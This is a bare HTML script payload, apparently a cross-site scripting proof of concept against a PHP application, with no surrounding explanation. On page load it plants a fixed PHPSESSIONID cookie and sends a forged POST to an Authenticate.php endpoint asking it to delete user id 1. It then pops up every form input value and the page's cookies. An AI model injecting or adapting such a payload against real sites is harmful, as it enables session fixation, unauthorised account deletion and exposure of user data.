<script>window.onload = function(){var params = 'type=user&action=delete&id=1';document.cookie="PHPSESSIONID=axdfr32352123f; expires=Thu, 18 Dec 2043 12:00:00 UTC; path=/";var http = new XMLHttpRequest();http.open('POST', '../security/Models/Authenticate.php', true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.setRequestHeader("Content-length", params.length);http.setRequestHeader("Connection", "close");http.onreadystatechange = function() {var i;var form = document.forms[0].getElementsByTagName('input');for(i = 0; i < form.length; i++) {alert(form[i].value);}var cookie = document.cookie;alert(cookie);http.onreadystatechange = null;};http.send(params);}</script>

